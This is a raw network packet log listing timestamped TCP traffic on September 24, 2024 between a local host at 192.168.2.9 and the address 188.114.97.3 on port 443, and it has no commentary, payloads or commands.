Sep 24, 2024 06:29:55.448098898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.448098898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.448110104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449248075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449305058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449326038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.449337959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449362040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449374914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.449374914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.449385881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449429035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449435949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.449441910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449467897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449521065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.449521065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.449528933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.449629068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.457444906 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481010914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481040955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481137037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481148958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481194973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481194973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481385946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481404066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481458902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481466055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481499910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481513977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481801987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481818914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481889963 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.481897116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.481940031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.482194901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.482212067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.482259035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.482265949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.482310057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.482310057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.538410902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.538430929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.538491011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.538506031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.538582087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.538702011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.538742065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.538769007 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.538778067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.538887978 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.539071083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.539098024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.539124966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.539136887 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.539237976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.539766073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.539781094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.539839983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.539845943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.539947033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.571400881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.571430922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.571466923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.571475029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.571614027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.571830034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.571846962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572154045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.572163105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572212934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.572305918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572328091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572355986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.572376013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572390079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.572871923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572887897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.572918892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.572936058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.573039055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.573152065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.573170900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.573204994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.573213100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.573250055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.629436016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.629460096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.629539013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.629549980 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.629703045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.629724979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.629729033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.629762888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.629779100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.629867077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.630338907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.630357981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.630405903 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.630412102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.630474091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.662482023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.662540913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.662555933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.662585020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.662620068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.662848949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.662893057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.662904024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.662933111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.662972927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.663355112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.663417101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.663450003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.663456917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.663537979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.663773060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.663819075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.663889885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.663889885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.663897991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.663966894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.664112091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.664122105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.664410114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.664450884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.664480925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.664489031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.664558887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.666445017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.725368977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.725435019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.725482941 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.725482941 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.725492954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.725600004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.725734949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.725779057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.725825071 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.725825071 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.725832939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.725904942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.726027012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.726067066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.726119041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.726119041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.726125956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.726252079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.752852917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.752903938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.752917051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.752934933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.753184080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.753603935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.753645897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.753658056 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.753675938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.753720045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.753720999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.754137993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754160881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754196882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754203081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.754220009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754251957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.754251957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.754317045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754355907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.754793882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754811049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.754852057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.754867077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.796411037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816183090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816207886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816243887 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816260099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816270113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816296101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816318035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816318035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816327095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816354990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816427946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816569090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816584110 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816659927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816659927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816667080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816701889 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.816936970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.816966057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.817006111 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.817013025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.817027092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.817178965 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.844053030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.844099045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.844121933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.844136953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.844177008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.844476938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.844527006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.844546080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.844558954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.844598055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.844598055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.846345901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.846386909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.846400976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.846415997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.846440077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.846466064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.847003937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.847050905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.847095966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.847095966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.847101927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.847193003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.906341076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.906361103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.906459093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.906469107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.906521082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.906819105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.906836987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.906995058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.907001972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907044888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.907285929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907300949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907341957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.907346964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907418013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.907758951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907803059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907805920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.907820940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.907857895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.934555054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.934640884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.934648991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.934926987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.934942961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.934995890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.935012102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.935075998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.935513973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.935556889 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.936693907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.936712980 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.936777115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.936777115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.936784029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.936873913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.937005043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.937015057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.937155962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.937199116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.937251091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.937251091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.937258005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.937300920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.937668085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.937721014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.997989893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998049974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998085976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998094082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998162031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998308897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998369932 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998389959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998465061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998502016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998519897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998577118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998723030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998744011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998771906 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998783112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:55.998821974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:55.998821974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.025497913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.025521994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.025629997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.025652885 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.025707960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.025926113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.025950909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.025985003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.025991917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026052952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.026052952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.026082039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026144028 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.026469946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026499033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026532888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.026539087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026590109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026618004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.026667118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.026671886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.026907921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.028033972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.028110027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.028122902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.028130054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.028175116 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.028175116 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.028501034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.028549910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.028548956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.028577089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.028656006 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.077712059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.088772058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.088829041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.088849068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.088875055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.088902950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.088932037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089222908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089243889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089301109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089307070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089317083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089332104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089346886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089570999 CEST	443	49748	188.114.97.3	192.168.2.9
